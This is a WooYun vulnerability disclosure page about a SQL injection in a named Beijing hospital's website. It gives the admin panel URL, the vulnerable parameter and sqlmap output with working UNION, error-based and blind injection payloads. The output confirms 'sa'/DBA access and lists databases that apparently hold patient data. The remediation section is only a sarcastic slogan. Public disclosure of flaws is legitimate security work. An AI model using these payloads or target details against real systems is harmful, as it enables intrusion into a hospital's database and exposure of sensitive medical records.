中广安门中医院网站存在DBA+SA+MSSQL注射漏洞（女孩痛斥号贩子视频所属医院） | wooyun-2016-0173894

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2016-0173894

漏洞标题：

中广安门中医院网站存在DBA+SA+MSSQL注射漏洞（女孩痛斥号贩子视频所属医院）

漏洞详情

披露状态：

2016-02-02：积极联系厂商并且等待厂商认领中，细节不对外公开
2016-03-17：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

请看这条消息
http://www.gamh.com.cn/gamadmin/infomanage/comminfo/show.asp?Info_ID=1282
他们还好意思在那叭叭叭

详细说明：

网站后台：http://www.gamh.com.cn/gamadmin/
注射点：http://www.gamh.com.cn/english/huojiangmulu.asp?Info_Type_Name=Scientific%20Achievement&Info_Type_Code=20
参数：Info_Type_Code
DBA+SA+MSSQL

漏洞证明：

sqlmap identified the following injection point(s) with a total of 258 HTTP(s) requests:
---
Parameter: Info_Type_Code (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- -
---
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft SQL Server 2000
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Info_Type_Code (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- -
---
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft SQL Server 2000
current user:    'sa'
current database:    'gamhospital'
current user is DBA:    True
available databases [10]:
[*] aids
[*] gamhospital
[*] keti
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tangniaobing
[*] tempdb

修复方案：

全心全意为老百姓服务

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

WooYun.org

漏洞概要 关注数(24) 关注此漏洞